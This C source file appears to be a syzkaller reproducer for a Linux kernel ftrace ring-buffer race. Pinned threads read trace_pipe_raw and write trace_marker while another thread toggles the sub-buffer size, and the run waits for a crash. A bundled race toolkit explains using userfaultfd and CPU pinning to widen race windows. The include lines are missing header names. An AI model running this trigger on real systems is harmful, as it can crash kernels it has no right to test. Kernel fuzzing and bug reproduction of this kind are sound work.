// https://syzkaller.appspot.com/bug?id=79a67834b7ff2d8dd63e8403ae6f00a75cd26ba3 // Copyright 2026 syzkaller project authors. All rights reserved. // Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. // IMPORTANT: Do not copy the macros or definitions below directly into your reproducer. // Instead, add the following line to your reproducer: // #include "race_toolkit.h" // --- Race Condition Toolkit --- // Macros and snippets for CPU pinning, memory barriers, and userfaultfd. #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Unbuffered I/O: Ensure logs are written immediately. #define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0) // CPU Pinning: Pin the current thread to a specific CPU core. #define PIN_TO_CPU(cpu) \ do { \ cpu_set_t mask; \ CPU_ZERO(&mask); \ CPU_SET(cpu, &mask); \ if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \ perror("sched_setaffinity"); \ } \ } while (0) // Memory Barrier: Ensure memory ordering. #define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST) // Spin-wait Barrier: Wait until a memory location has a specific value. // Best for tight race windows (low latency, no context switches). #define WAIT_ON(addr, val) \ do { \ while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \ ; \ } while (0) // Signal: Set a memory location to a specific value to release a WAIT_ON. #define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE) // --- Timing Primitives --- // Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps). static inline double timer_elapsed_sec(struct timespec* start) { struct timespec now; if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) { perror("clock_gettime(CLOCK_MONOTONIC) elapsed"); exit(1); } return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9; } // Initialize a monotonic timer variable. #define TIMER_START(t) \ struct timespec t; \ if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \ perror("clock_gettime(CLOCK_MONOTONIC) start"); \ exit(1); \ } // Check if the elapsed time since 't' is less than 'sec' seconds. #define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec)) // Futex-based Event: Shared with syzkaller executor. // Best for general synchronization or longer waits to save CPU. typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) { fprintf(stderr, "event already set\n"); exit(1); } __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } // userfaultfd setup: Register a memory range for page fault handling. static int setup_uffd(void* addr, size_t len) { int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) return -1; struct uffdio_api api = {.api = UFFD_API, .features = 0}; if (ioctl(uffd, UFFDIO_API, &api) == -1) { close(uffd); return -1; } struct uffdio_register reg = { .range = {.start = (uintptr_t)addr, .len = len}, .mode = UFFDIO_REGISTER_MODE_MISSING}; if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) { close(uffd); return -1; } return uffd; } // --- Guidance on Usage --- // 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead. // 2. Use event_t (futexes) for general coordination or when waiting for longer periods. // 3. Always use PIN_TO_CPU to increase race probability on multi-core systems. // 4. Use setup_uffd to register a memory range for page fault handling. This allows you to // pause a thread accessing that memory until you handle the fault, creating a reliable // and controllable race window. // 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed // immediately. This is essential for understanding the exact interleaving of events // when debugging race conditions. // 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL) // or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift. // Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED: // TIMER_START(start); // while (TIMER_NOT_EXPIRED(start, 10.0)) { // // Your race logic here // } #include #include #include #include #include #include #include #define NUM_CPUS 4 int trace_fds[NUM_CPUS]; int marker_fd; int size_fd; void *reader_thread(void *arg) { long cpu = (long)arg; PIN_TO_CPU(cpu); char buf[16384]; while (1) { int res = read(trace_fds[cpu], buf, sizeof(buf)); if (res < 0 && errno != EAGAIN) { // Ignore other errors } } return NULL; } void *writer_thread(void *arg) { long cpu = (long)arg; PIN_TO_CPU(cpu); while (1) { int res = write(marker_fd, "A", 1); if (res < 0) { // Ignore errors } } return NULL; } void *sizer_thread(void *arg) { while (1) { pwrite(size_fd, "16\n", 3, 0); pwrite(size_fd, "4\n", 2, 0); } return NULL; } int main() { SETUP_UNBUFFERED_IO(); size_fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY); if (size_fd < 0) { size_fd = open("/sys/kernel/debug/tracing/buffer_subbuf_size_kb", O_WRONLY); if (size_fd < 0) { printf("[-] Failed to open buffer_subbuf_size_kb: %s\n", strerror(errno)); exit(1); } } printf("[+] Opened buffer_subbuf_size_kb.\n"); marker_fd = open("/sys/kernel/tracing/trace_marker", O_WRONLY); if (marker_fd < 0) { marker_fd = open("/sys/kernel/debug/tracing/trace_marker", O_WRONLY); if (marker_fd < 0) { printf("[-] Failed to open trace_marker: %s\n", strerror(errno)); exit(1); } } printf("[+] Opened trace_marker.\n"); for (long i = 0; i < NUM_CPUS; i++) { char path[256]; snprintf(path, sizeof(path), "/sys/kernel/tracing/per_cpu/cpu%ld/trace_pipe_raw", i); trace_fds[i] = open(path, O_RDONLY | O_NONBLOCK); if (trace_fds[i] < 0) { snprintf(path, sizeof(path), "/sys/kernel/debug/tracing/per_cpu/cpu%ld/trace_pipe_raw", i); trace_fds[i] = open(path, O_RDONLY | O_NONBLOCK); if (trace_fds[i] < 0) { printf("[-] Failed to open trace_pipe_raw for cpu %ld: %s\n", i, strerror(errno)); continue; } } printf("[+] Opened trace_pipe_raw for cpu %ld.\n", i); pthread_t t1, t2; pthread_create(&t1, NULL, reader_thread, (void *)i); pthread_create(&t2, NULL, writer_thread, (void *)i); } pthread_t t3; pthread_create(&t3, NULL, sizer_thread, NULL); printf("[+] Threads started, waiting for crash...\n"); TIMER_START(start); while (TIMER_NOT_EXPIRED(start, 10.0)) { sleep(1); } printf("[+] Done.\n"); return 0; }